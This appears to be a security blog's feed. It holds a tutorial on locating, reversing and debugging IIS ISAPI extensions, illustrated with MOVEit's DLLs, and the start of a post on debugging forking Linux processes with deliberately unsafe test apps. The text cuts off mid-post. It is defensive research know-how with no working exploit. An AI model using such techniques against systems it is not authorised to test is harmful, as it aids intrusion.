Jekyll2024-01-19T18:43:24+00:00https://www.skullsecurity.org/feedSkullSecurity BlogAdventures In SecurityHow-to: Reversing and debugging ISAPI modules2023-06-27T16:14:05+00:002023-06-27T16:14:05+00:00https://www.skullsecurity.org/2023/isapi<p>Recently, I had the privilege to <a href="https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis">write a detailed analysis of
CVE-2023-34362</a>,
which is series of several vulnerabilities in the MOVEit file transfer
application that lead to remote code execution. One of the several
vulnerabilities involved an ISAPI module - specifically, the <code class="language-plaintext highlighter-rouge">MoveITISAPI.dll</code>
ISAPI extension. One of the many vulnerabilities that comprised the MOVEit RCE
was a header-injection issue, where the ISAPI application parsed headers
differently than the .net application. This point is going to dig into how to
analyze and reverse engineer an ISAPI-based service!</p>
<p>This wasn’t the first time in the recent past I’d had to work on
something written as an ISAPI module, and each time I feel like I have to start
over and remember how it’s supposed to work. This time, I thought I’d combine
my hastily-scrawled notes with some Googling, and try to write something that I
(and others) can use in the future. As such, this will be a quick intro to
ISAPI applications from the angle that matters to me - how to reverse engineer
and debug them!</p>
<p>I want to preface this with: I’m not a Windows developer, and I’ve never run an
IIS server on purpose. That means that I am approaching this with brute-force
ignorance! I don’t have a lot of background context nor do I know the correct
terminology for a lot of this stuff. Instead, I’m going to treat these are
typical DLLs from typical applications, and approach them as such.</p>
<!--more-->
<h2 id="what-is-isapi">What is ISAPI?</h2>
<p>You can think of ISAPI as IIS’s equivalent to Apache or Nginx modules - that
is, they are binaries written in a low-level language such as C, C++, or Delphi
(no really, the Wikipedia page
<a href="https://en.wikipedia.org/wiki/Internet_Server_Application_Programming_Interface">lists Delphi</a>!)
that are loaded into the IIS memory space as shared libraries. Since they’re
low-level code, they can suffer from issues commonly found in low-level code,
such as memory corruption. You’ve probably used Microsoft-supplied ISAPI
modules without realizing it - they are used behind the scenes for .aspx
applications, for example!</p>
<p>I found
<a href="https://learn.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)">this helpful overview of ISAPI</a>,
which links to the other pages I mention below. It has a deprecation warning,
but AFAICT no replacement page, so I can say it existed in June/2023 in case
you need to use the Internet Archive to fetch it.</p>
<p>Depending on the application, ISAPI modules can either handle incoming requests
by themselves
(“<a href="https://learn.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)">ISAPI extensions</a>”)
or modify requests en route to their final handler
(“<a href="https://learn.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)">ISAPI filters</a>”).
They’re both implemented as .dll files, but you can distinguish one from the
other by looking at the list of <em>exported functions</em> (in a .dll file, an
“exported function” is a function that can be called by the service that loads
the .dll file). You can view exports in IDA Pro or Ghidra or other tools, but for
these examples I found a simple CLI tool written in Ruby tool called <code class="language-plaintext highlighter-rouge">pedump</code>,
which you can install via the Rubygems command <code class="language-plaintext highlighter-rouge">gem install pedump</code>.</p>
<p>Here are the exported functions in <code class="language-plaintext highlighter-rouge">MOVEitISAPI.dll</code>, which is the ISAPI module
included with the MOVEit file transfer application:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ pedump -E ./MOVEitISAPI.dll
=== EXPORTS ===
# module "MOVEitISAPI.dll"
# flags=0x0 ts="2106-02-07 06:28:15" version=0.0 ord_base=1
# nFuncs=3 nNames=3
ORD ENTRY_VA NAME
1 9deb0 GetExtensionVersion
2 9dfe0 HttpExtensionProc
3 9dff0 TerminateExtension
</code></pre></div></div>
<p>The two that we’re interested in are <code class="language-plaintext highlighter-rouge">GetExtensionVersion</code> and
<code class="language-plaintext highlighter-rouge">HttpExtensionProc</code>, which we’ll dig into later.</p>
<p>Let’s contrast the ISAPI module with an ISAPI filter - <code class="language-plaintext highlighter-rouge">MOVEitFilt.dll</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ pedump -E ./MOVEitFilt.dll
=== EXPORTS ===
# module "MOVEitFilt.dll"
# flags=0x0 ts="2106-02-07 06:28:15" version=0.0 ord_base=1
# nFuncs=2 nNames=2
ORD ENTRY_VA NAME
1 1500 GetFilterVersion
2 1540 HttpFilterProc
</code></pre></div></div>
<p>The filter has two other functions - <code class="language-plaintext highlighter-rouge">GetFilterVersion</code> and <code class="language-plaintext highlighter-rouge">HttpFilterProc</code>.</p>
<p>So basically, you can figure out what type of ISAPI module you’re looking at by
looking at the functions exported. In theory, there’s no reason why an ISAPI
module can’t be both, but I’m not sure if anybody does that! Maybe for a CTF
challenge I’ll try to develop an ISAPI Filter Extension that modifies its own
requests :)</p>
<h2 id="finding-isapi-modules">Finding ISAPI modules</h2>
<p>Let’s say you’re working on an application that runs on IIS, and you want to
identify the attack surface - ie, find ISAPI modules. The probably-correct way
to answer this is to open up the IIS manager (<code class="language-plaintext highlighter-rouge">InetMgr.exe</code>) and look at the
configuration. But that’s boring!</p>
<p>Recalling my original promise, to use “brute-force ignorance”, let’s use some
commandline tools to figure out what’s going on!</p>
<p>The IIS process is called <code class="language-plaintext highlighter-rouge">w3wp.exe</code>, so let’s use <code class="language-plaintext highlighter-rouge">wmic</code> to find all instances
of <code class="language-plaintext highlighter-rouge">w3wp.exe</code> running (note that I’m using MOVEit as an example, but this will
work on other applications as well):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\Administrator>wmic process where "ExecutablePath like '%\\w3wp.exe'" get CommandLine
</code></pre></div></div>
<p>Which outputs:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>c:\windows\system32\inetsrv\w3wp.exe -ap "moveitdmz Pool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iisipm78b02bd1-595b-4442-9df0-a04b9d58775b -h "C:\inetpub\temp\apppools\moveitdmz Pool\moveitdmz Pool.config" -w "" -m 0 -t 20 -ta 0
c:\windows\system32\inetsrv\w3wp.exe -ap "moveitdmz ISAPI Pool" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iisipm2c508efc-6670-4302-a0b7-1ffb65ac196d -h "C:\inetpub\temp\apppools\moveitdmz ISAPI Pool\moveitdmz ISAPI Pool.config" -w "" -m 0 -t 20 -ta 0
</code></pre></div></div>
<p>In this case, there are two IIS services running, with two different
configurations: one is called the <code class="language-plaintext highlighter-rouge">moveitdmz Pool</code> and the other is called the
<code class="language-plaintext highlighter-rouge">moveitdmz ISAPI Pool</code>. We can probably guess that the latter is what we want,
but it turns out that the configurations are identical. I’m sure there’s some
meaningful difference, but this is precisely where my knowledge of IIS ends so
let’s just move on. :)</p>
<p>If we pick one of those configuration files and search it for “isapi”, we’ll
find a ton of matches, because stuff like ASP are implemented as ISAPI modules.
But if we look and search hard enough, we’ll find our modules:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...]
<span class="nt"><isapiFilters></span>
<span class="nt"><clear</span> <span class="nt">/></span>
<span class="nt"><filter</span> <span class="na">name=</span><span class="s">"MOVEit Filter"</span> <span class="na">path=</span><span class="s">"C:\MOVEitTransfer\MOVEitISAPI\MOVEitFilt.dll"</span> <span class="na">enabled=</span><span class="s">"true"</span> <span class="nt">/></span>
<span class="nt"></isapiFilters></span>
[...]
<span class="nt"><handlers</span> <span class="na">accessPolicy=</span><span class="s">"Execute"</span><span class="nt">></span>
<span class="nt"><clear</span> <span class="nt">/></span>
<span class="nt"><add</span> <span class="na">name=</span><span class="s">"MOVEitISAPIExtension"</span> <span class="na">path=</span><span class="s">"MOVEitISAPI.dll"</span> <span class="na">verb=</span><span class="s">"GET,POST"</span> <span class="na">modules=</span><span class="s">"IsapiModule"</span> <span class="na">scriptProcessor=</span><span class="s">"C:\MOVEitTransfer\MOVEitISAPI\MOVEitISAPI.dll"</span> <span class="na">requireAccess=</span><span class="s">"Execute"</span> <span class="nt">/></span>
<span class="nt"></handlers></span>
[...]
</code></pre></div></div>
<p>This is well and good, but reading configuration files is hard and prone to
missing stuff.</p>
<p>My recommendation, and personal approach, is to just copy the entire
application to a Linux system, then use <code class="language-plaintext highlighter-rouge">grep</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ grep -Er 'Get(Extension|Filter)Version'
grep: MOVEitISAPI/MOVEitISAPI.dll: binary file matches
grep: MOVEitISAPI/MOVEitFilt.dll: binary file matches
</code></pre></div></div>
<p>Then work your way backwards to IIS to see how they’re served. Easy! :)</p>
<h2 id="reverse-engineering-isapi-extensions">Reverse engineering ISAPI extensions</h2>
<p>Let’s switch from generically talking about ISAPI modules to talking
specifically about ISAPI Extensions - the type of module that serves a page
directly, as opposed to the modules that filter requests. Filters will be
similar, just different function names.</p>
<p>Microsoft provides an overview of ISAPI extensions
<a href="https://learn.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)">here</a>,
which I’m going to use a bit.</p>
<h3 id="loading-the-dll">Loading the .dll</h3>
<p>ISAPI modules are shared libraries (ie, .dll files) that are loaded into the
address space of IIS. When any .dll file is loaded (ISAPI or otherwise), the
first function that’s called is always <code class="language-plaintext highlighter-rouge">DllMain</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="n">WINAPI</span> <span class="n">DllMain</span><span class="p">(</span> <span class="n">HINSTANCE</span> <span class="n">hinstDLL</span><span class="p">,</span> <span class="c1">// handle to DLL module</span>
<span class="n">DWORD</span> <span class="n">fdwReason</span><span class="p">,</span> <span class="c1">// reason for calling function</span>
<span class="n">LPVOID</span> <span class="n">lpvReserved</span> <span class="p">)</span> <span class="c1">// reserved</span>
</code></pre></div></div>
<p>It’s the .dll equivalent to <code class="language-plaintext highlighter-rouge">main()</code> in a typical C application, except that it’s
called multiple times in the .dll’s lifecycle. The <code class="language-plaintext highlighter-rouge">fdwReason</code> argument
specifies why it’s being called:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">DLL_PROCESS_DETACH</code> (0) - The .dll is being unloaded</li>
<li><code class="language-plaintext highlighter-rouge">DLL_PROCESS_ATTACH</code> (1) - The .dll is being loaded</li>
<li><code class="language-plaintext highlighter-rouge">DLL_THREAD_ATTACH</code> (2) - The process the .dll is loaded into is creating a new thread (all .dll files are alerted when this happens)</li>
<li><code class="language-plaintext highlighter-rouge">DLL_THREAD_DETACH</code> (3) - A thread in the process is exiting cleanly</li>
</ul>
<p>This isn’t anything special with ISAPI modules, and there’s a good chance that
the <code class="language-plaintext highlighter-rouge">DllMain</code> function isn’t used at all - it simply has to return <code class="language-plaintext highlighter-rouge">true</code>. If
it IS used, you’ll most likely see the <code class="language-plaintext highlighter-rouge">DLL_PROCESS_ATTACH</code> and
<code class="language-plaintext highlighter-rouge">DLL_PROCESS_DETACH</code> reasons being used to initialize and clean up.</p>
<h3 id="getextensionversion"><code class="language-plaintext highlighter-rouge">GetExtensionVersion()</code></h3>
<p>After the ISAPI module is loaded, IIS will call the <code class="language-plaintext highlighter-rouge">GetExtensionVersion()</code>
exported function. You can read about the function <a href="https://learn.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525283(v=vs.90)">in Microsoft’s
documentation</a>,
but the important part is the definition:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="n">WINAPI</span> <span class="nf">GetExtensionVersion</span><span class="p">(</span><span class="n">HSE_VERSION_INFO</span><span class="o">*</span> <span class="n">pVer</span><span class="p">);</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">HSE_VERSION_INFO</code> is a fairly simple structure with just two fields:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_HSE_VERSION_INFO</span> <span class="p">{</span>
<span class="n">DWORD</span> <span class="n">dwExtensionVersion</span><span class="p">;</span>
<span class="n">CHAR</span> <span class="n">lpszExtensionDesc</span><span class="p">[</span><span class="n">HSE_MAX_EXT_DLL_NAME_LEN</span><span class="p">];</span> <span class="c1">// 256</span>
<span class="p">}</span> <span class="n">HSE_VERSION_INFO</span><span class="p">,</span> <span class="o">*</span><span class="n">LPHSE_VERSION_INFO</span><span class="p">;</span>
</code></pre></div></div>
<p>As far as I know, these are free-form values. I added a struct called
<code class="language-plaintext highlighter-rouge">HSE_VERSION_INFO</code> into IDA Pro, and it already knew the structure:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000 HSE_VERSION_INFO struc ; (sizeof=0x104, align=0x4, copyof_483)
00000000 dwExtensionVersion dd ?
00000004 lpszExtensionDesc db 256 dup(?)
00000104 HSE_VERSION_INFO ends
</code></pre></div></div>
<p>And it let me decorate <code class="language-plaintext highlighter-rouge">rcx</code> (the <code class="language-plaintext highlighter-rouge">pVer</code> argument on a 64-bit machine) with the
proper field names (still using <code class="language-plaintext highlighter-rouge">MOVEitISAPI.dll</code> as an example):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:000000018009DEB0 ; BOOL __stdcall GetExtensionVersion(HSE_VERSION_INFO *pVer)
.text:000000018009DEB0 public GetExtensionVersion
.text:000000018009DEB0 GetExtensionVersion proc near ; DATA XREF: .rdata:off_180AD21C8↓o
.text:000000018009DEB0 ; .pdata:0000000180BDE048↓o
.text:000000018009DEB0
.text:000000018009DEB0 var_18 = dword ptr -18h
.text:000000018009DEB0
.text:000000018009DEB0 sub rsp, 38h
.text:000000018009DEB4 mov [rcx+HSE_VERSION_INFO.dwExtensionVersion], 80000h
.text:000000018009DEBA movups xmm0, xmmword ptr cs:aMoveitisapiExt ; "MOVEitISAPI Extension"
.text:000000018009DEC1 movups xmmword ptr [rcx+HSE_VERSION_INFO.lpszExtensionDesc], xmm0
.text:000000018009DEC5 mov eax, dword ptr cs:aMoveitisapiExt+10h ; "nsion"
.text:000000018009DECB mov dword ptr [rcx+(HSE_VERSION_INFO.lpszExtensionDesc+10h)], eax
.text:000000018009DECE movzx eax, word ptr cs:aMoveitisapiExt+14h ; "n"
.text:000000018009DED5 mov word ptr [rcx+(HSE_VERSION_INFO.lpszExtensionDesc+14h)], ax
[...]
</code></pre></div></div>
<p>This function is also called exactly once in the ISAPI module lifecycle, which
means it can (and often IS) used to initialize variables. Keep an eye out in
both <code class="language-plaintext highlighter-rouge">DllMain</code> and <code class="language-plaintext highlighter-rouge">GetExtensionVersion</code> for initialized variables!</p>
<h3 id="httpextensionproc"><code class="language-plaintext highlighter-rouge">HttpExtensionProc()</code></h3>
<p>The real meat of an ISAPI extension is <code class="language-plaintext highlighter-rouge">HttpExtensionProc()</code>, which is executed
each time somebody accesses the extension. It’s where all the interesting stuff
is going to happen.</p>
<p>The definition of the function is:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="n">WINAPI</span> <span class="nf">HttpExtensionProc</span><span class="p">(</span>
<span class="n">LPEXTENSION_CONTROL_BLOCK</span> <span class="n">lpECB</span>
<span class="p">);</span>
</code></pre></div></div>
<p>Once again, it takes exactly one argument, which is stored in <code class="language-plaintext highlighter-rouge">rcx</code> (on a
64-bit host), or on top of the stack (on 32-bit). We’ll stick to 64-bit.</p>
<p>The argument is a pointer to a <code class="language-plaintext highlighter-rouge">EXTENSION_CONTROL_BLOCK</code> structure, which has
the following definition:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">_EXTENSION_CONTROL_BLOCK</span> <span class="n">EXTENSION_CONTROL_BLOCK</span> <span class="p">{</span>
<span class="n">DWORD</span> <span class="n">cbSize</span><span class="p">;</span>
<span class="n">DWORD</span> <span class="n">dwVersion</span><span class="p">;</span>
<span class="n">HCONN</span> <span class="n">connID</span><span class="p">;</span>
<span class="n">DWORD</span> <span class="n">dwHttpStatusCode</span><span class="p">;</span>
<span class="n">CHAR</span> <span class="n">lpszLogData</span><span class="p">[</span><span class="n">HSE_LOG_BUFFER_LEN</span><span class="p">];</span>
<span class="n">LPSTR</span> <span class="n">lpszMethod</span><span class="p">;</span>
<span class="n">LPSTR</span> <span class="n">lpszQueryString</span><span class="p">;</span>
<span class="n">LPSTR</span> <span class="n">lpszPathInfo</span><span class="p">;</span>
<span class="n">LPSTR</span> <span class="n">lpszPathTranslated</span><span class="p">;</span>
<span class="n">DWORD</span> <span class="n">cbTotalBytes</span><span class="p">;</span>
<span class="n">DWORD</span> <span class="n">cbAvailable</span><span class="p">;</span>
<span class="n">LPBYTE</span> <span class="n">lpbData</span><span class="p">;</span>
<span class="n">LPSTR</span> <span class="n">lpszContentType</span><span class="p">;</span>
<span class="n">BOOL</span> <span class="p">(</span><span class="n">WINAPI</span> <span class="o">*</span> <span class="n">GetServerVariable</span><span class="p">)</span> <span class="p">();</span>
<span class="n">BOOL</span> <span class="p">(</span><span class="n">WINAPI</span> <span class="o">*</span> <span class="n">WriteClient</span><span class="p">)</span> <span class="p">();</span>
<span class="n">BOOL</span> <span class="p">(</span><span class="n">WINAPI</span> <span class="o">*</span> <span class="n">ReadClient</span><span class="p">)</span> <span class="p">();</span>
<span class="n">BOOL</span> <span class="p">(</span><span class="n">WINAPI</span> <span class="o">*</span> <span class="n">ServerSupportFunction</span><span class="p">)</span> <span class="p">();</span>
<span class="p">}</span> <span class="n">EXTENSION_CONTROL_BLOCK</span><span class="p">;</span>
</code></pre></div></div>
<p>Once again, if you add a struct called <code class="language-plaintext highlighter-rouge">EXTENSION_CONTROL_BLOCK</code> to IDA Pro, it’s
aware of the structure and size of all the fields:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000 EXTENSION_CONTROL_BLOCK struc ; (sizeof=0xC0, align=0x8, copyof_485)
00000000 cbSize dd ?
00000004 dwVersion dd ?
00000008 ConnID dq ? ; offset
00000010 dwHttpStatusCode dd ?
00000014 lpszLogData db 80 dup(?)
00000064 db ? ; undefined
00000065 db ? ; undefined
00000066 db ? ; undefined
00000067 db ? ; undefined
00000068 lpszMethod dq ? ; offset
00000070 lpszQueryString dq ? ; offset
00000078 lpszPathInfo dq ? ; offset
00000080 lpszPathTranslated dq ? ; offset
00000088 cbTotalBytes dd ?
0000008C cbAvailable dd ?
00000090 lpbData dq ? ; offset
00000098 lpszContentType dq ? ; offset
000000A0 GetServerVariable dq ? ; offset
000000A8 WriteClient dq ? ; offset
000000B0 ReadClient dq ? ; offset
000000B8 ServerSupportFunction dq ? ; offset
000000C0 EXTENSION_CONTROL_BLOCK ends
</code></pre></div></div>
<p>The most interesting fields are:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">dwHttpStatusCode</code> - The HTTP status code that’ll be returned (you’ll see 0xc8 a lot, which is HTTP/200)</li>
<li><code class="language-plaintext highlighter-rouge">lpszMethod</code> - Will be <code class="language-plaintext highlighter-rouge">GET</code> or <code class="language-plaintext highlighter-rouge">POST</code> (or other methods), some modules will distinguish and others won’t</li>
<li><code class="language-plaintext highlighter-rouge">lpszQueryString</code> - The HTTP query string (ie, what comes after the <code class="language-plaintext highlighter-rouge">?</code> in the URL)</li>
<li><code class="language-plaintext highlighter-rouge">lpszPathInfo</code> - What comes after the ISAPI module in the path (ie, <code class="language-plaintext highlighter-rouge">https://example.org/isapimodule.dll/pathgoeshere</code>)</li>
<li><code class="language-plaintext highlighter-rouge">cbTotalBytes</code> - The size of the HTTP body, if any (typically used in a POST)</li>
<li><code class="language-plaintext highlighter-rouge">cbAvailable</code> - The number of bytes that have already been received</li>
<li><code class="language-plaintext highlighter-rouge">lpbData</code> - A buffer of data that has already been received (more data might be queued up, if it’s longer)</li>
<li><code class="language-plaintext highlighter-rouge">lpszContentType</code> - The request’s content-type</li>
</ul>
<p>Additionally, four function pointers are passed in that structure:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">GetServerVariable</code> - Used to retrieve information about the connection or server</li>
<li><code class="language-plaintext highlighter-rouge">WriteClient</code> - Send data to the client</li>
<li><code class="language-plaintext highlighter-rouge">ReadClient</code> - Receive data from the client</li>
<li><code class="language-plaintext highlighter-rouge">ServerSupportFunction</code> - Other stuff the the previous callbacks don’t do</li>
</ul>
<p>Once you know the structure of the incoming data, you can identify a lot of
what’s going on in the module; for example, this code:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:000000018009B98D mov r8d, 1000h
.text:000000018009B993 lea rdx, [rsp+15F38h+var_5838]
.text:000000018009B99B mov rcx, [r14+EXTENSION_CONTROL_BLOCK.lpszQueryString]
.text:000000018009B99F call sub_18006FF00
</code></pre></div></div>
<p>Appears to be copying the query string. We can all but confirm that in the next
line, which uses <code class="language-plaintext highlighter-rouge">var_5838</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:000000018009B9A4 mov r9d, 400h
.text:000000018009B9AA lea r8, [rsp+15F38h+ep_buffer] ; buffer
.text:000000018009B9B2 lea rdx, aEp ; "ep"
.text:000000018009B9B9 lea rcx, [rsp+15F38h+var_5838] ; querystring
.text:000000018009B9C1 call get_field_from_querystring_maybe
</code></pre></div></div>
<p>It passes what looks like the query string, and the literal string “ep”, to
another function. Without ever looking at that function, I named it
<code class="language-plaintext highlighter-rouge">get_field_from_querystring_maybe</code>. That’s later confirmed with:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:000000018009BA7B lea r8, [rsp+15F38h+var_5838]
.text:000000018009BA83 lea rdx, aQueryStringS ; "Query string: %s"
.text:000000018009BA8A mov ecx, 3Ch
.text:000000018009BA8F call log_function_maybe
.text:000000018009BA94 mov r9d, 40h ; '@'
.text:000000018009BA9A lea r8, [rsp+15F38h+action_buffer]
.text:000000018009BAA2 lea rdx, parameter_name ; "action"
.text:000000018009BAA9 lea rcx, [rsp+15F38h+var_5838] ; <-- Query string
.text:000000018009BAB1 call get_field_from_querystring_maybe
</code></pre></div></div>
<p>We can also find the callback functions, like <code class="language-plaintext highlighter-rouge">GetServerVariable</code>, being used
to read values from the environment:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:000000018009BABC mov [rsp+15F38h+length], 20h ; ' '
.text:000000018009BAC4 lea r9, [rsp+15F38h+length] ; lpdwSize
.text:000000018009BAC9 lea r8, [rsp+15F38h+remote_addr_buffer]
.text:000000018009BAD1 lea rdx, szVariableName ; "REMOTE_ADDR"
.text:000000018009BAD8 mov rcx, [r14+EXTENSION_CONTROL_BLOCK.ConnID] ; hConn
.text:000000018009BADC call [r14+EXTENSION_CONTROL_BLOCK.GetServerVariable]
</code></pre></div></div>
<p>From here, it’s a pretty typical Windows application, and can be reversed as
such. That could be a good or bad thing, depending on your comfort level.. but
one thing we CAN do is attach a debugger. Let’s see how!</p>
<h3 id="debugging">Debugging</h3>
<p>Thanks to the magic of “this being a normal .dll file”, we can debug this just
like any program with a .dll file.</p>
<p>First, we need to figure out which process is actually serving that .dll. You
could look at configs and stuff, but that’s boring. You can bruteforce and
debug <em>every</em> <code class="language-plaintext highlighter-rouge">w3wp.exe</code> process, and that’s what I normally do, but I actually
found a better way while writing this blog.. you can use <code class="language-plaintext highlighter-rouge">tasklist /m <DLL></code> to
check which processes have a specific .dll loaded:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\Administrator>tasklist /m MOVEitISAPI.dll
Image Name PID Modules
========================= ======== ============================================
w3wp.exe 5248 MOVEitISAPI.dll
</code></pre></div></div>
<p>That’s kinda magic, and could have saved me SO much trouble in the past!</p>
<p>Anyways, once you know the PID (in this case, 5248), you can attach a debugger
such as <code class="language-plaintext highlighter-rouge">windbg</code>. When you attach, you should see the ISAPI modules loaded into
memory as if they’re standard .dll files (because they are):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...]
ModLoad: 00007ff8`8a240000 00007ff8`8a2bb000 C:\MOVEitTransfer\MOVEitISAPI\MOVEitFilt.dll
ModLoad: 00007ff8`69860000 00007ff8`6a4c7000 \\?\C:\MOVEitTransfer\MOVEitISAPI\MOVEitISAPI.dll
[...]
</code></pre></div></div>
<p>Due to ASLR, the addresses probably won’t match the addresses you see in other
tools, but that’s a starting point!</p>
<p>You can use the <code class="language-plaintext highlighter-rouge">x</code> command to get a list of the exported addresses:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:012> x MOVEitISAPI!*
00007ff8`698fde80 MOVEitISAPI!GetExtensionVersion (<no parameter info>)
00007ff8`698fdfb0 MOVEitISAPI!HttpExtensionProc (<no parameter info>)
00007ff8`698fdfc0 MOVEitISAPI!TerminateExtension (<no parameter info>)
</code></pre></div></div>
<p>You can also put a breakpoint on the <code class="language-plaintext highlighter-rouge">HttpExtensionProc</code> function (be sure to
pass in the module name, since there will be multiple ISAPI modules with the
same names):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:012> bp MOVEitISAPI!HttpExtensionProc
0:012> bl
0 e Disable Clear 00007ff8`698fdfb0 0001 (0001) 0:**** MOVEitISAPI!HttpExtensionProc
</code></pre></div></div>
<p>Then send some request:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -ik 'https://10.0.0.193/moveitisapi/moveitisapi.dll' --data 'This is my postdata'
</code></pre></div></div>
<p>And observe in the debugger, using the field offsets we saw earlier (I imagine
you can use <code class="language-plaintext highlighter-rouge">dx</code> to dump the whole object if you load the definition into
windbg, which I don’t know how to do):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Breakpoint 0 hit
MOVEitISAPI!HttpExtensionProc:
00007ff8`698fdfb0 e96bd8ffff jmp MOVEitISAPI+0x9b820 (00007ff8`698fb820)
0:005> ds rcx+0x70
000001c8`64b69f78 "/moveitisapi/moveitisapi.dll"
0:005> ds rcx+0x78
000001c8`64b69f98 "C:\MOVEitTransfer\MOVEitISAPI\moveitisapi.dll"
0:005> ds rcx+0x90
000001c8`64b68346 "application/x-www-form-urlencoded"
0:005> ds rcx+0x88
000001c8`64b69f60 "This is my postdata"
</code></pre></div></div>
<p>From there, you can use break-on-access (<code class="language-plaintext highlighter-rouge">ba</code>) and other stuff to track the
data, if desired! Whatever you want to do!</p>ronRecently, I had the privilege to write a detailed analysis of CVE-2023-34362, which is series of several vulnerabilities in the MOVEit file transfer application that lead to remote code execution. One of the several vulnerabilities involved an ISAPI module - specifically, the MoveITISAPI.dll ISAPI extension. One of the many vulnerabilities that comprised the MOVEit RCE was a header-injection issue, where the ISAPI application parsed headers differently than the .net application. This point is going to dig into how to analyze and reverse engineer an ISAPI-based service! This wasn’t the first time in the recent past I’d had to work on something written as an ISAPI module, and each time I feel like I have to start over and remember how it’s supposed to work. This time, I thought I’d combine my hastily-scrawled notes with some Googling, and try to write something that I (and others) can use in the future. As such, this will be a quick intro to ISAPI applications from the angle that matters to me - how to reverse engineer and debug them! I want to preface this with: I’m not a Windows developer, and I’ve never run an IIS server on purpose. That means that I am approaching this with brute-force ignorance! I don’t have a lot of background context nor do I know the correct terminology for a lot of this stuff. Instead, I’m going to treat these are typical DLLs from typical applications, and approach them as such.Fork off: Three ways to deal with forking processes2023-05-12T20:45:30+00:002023-05-12T20:45:30+00:00https://www.skullsecurity.org/2023/fork-off<p>Have you ever tested a Linux application that forks into multiple processes?
Isn’t it a pain? Whether you’re debugging, trying to see a process crash, or
trying to write an exploit, it can be super duper annoying!</p>
<p>In a few days, I’m giving a talk at NorthSec in Montreal. I asked some
co-workers to review my slides, and they commented that I have some neat
techniques to deal with forking, so I thought I’d share a couple!</p>
<p>Spoiler alert: The last one is the best, so you can just skip to that. :)
<!--more--></p>
<h2 id="targets">Targets</h2>
<p>I wrote two simple apps, one that forks and one that doesn’t. I’ll hopefully
remember to edit in a GitHub repo for them later - and did! You can grab
them <a href="https://github.com/iagox86/forktest">here</a>! I included everything else
I use for this blog, as well.</p>
<p>To check out the project and follow along, go ahead and clone the repo:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git clone https://github.com/iagox86/forktest.git
Cloning into 'forktest'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 8 (delta 1), reused 7 (delta 0), pack-reused 0
Receiving objects: 100% (8/8), done.
Resolving deltas: 100% (1/1), done.
$ cd forktest
</code></pre></div></div>
<p>I’ve included built versions of all the files, but they aren’t built to be
portable so they might not work cleanly. If you need to build them yourself,
I’ve included a basic Makefile:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ make clean && make
rm -f *.o forkapp noforkapp onlyyoucanpreventforking.so patch
gcc -g -Wall -fno-stack-protector -o forkapp forkapp.c
gcc -g -Wall -fno-stack-protector -o noforkapp noforkapp.c
gcc -shared -fPIC -o onlyyoucanpreventforking.so onlyyoucanpreventforking.c
nasm -o patch patch.asm
</code></pre></div></div>
<p>This should work more or less the same on any 64-bit Intel Linux system.</p>
<h2 id="the-problem">The problem</h2>
<p>When you run either test app, it copies the first argument into a string
(unsafely) then prints it to the screen:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./forkapp test
You entered: test
</code></pre></div></div>
<p>Let’s say you want to use <code class="language-plaintext highlighter-rouge">strace</code> to view system calls. In a process that
prints a string, you’d expect to see a call to <code class="language-plaintext highlighter-rouge">write</code> or something similar,
which is the system call that writes to, say, stdout (your terminal). Here’s
what it looks like without forking:</p>
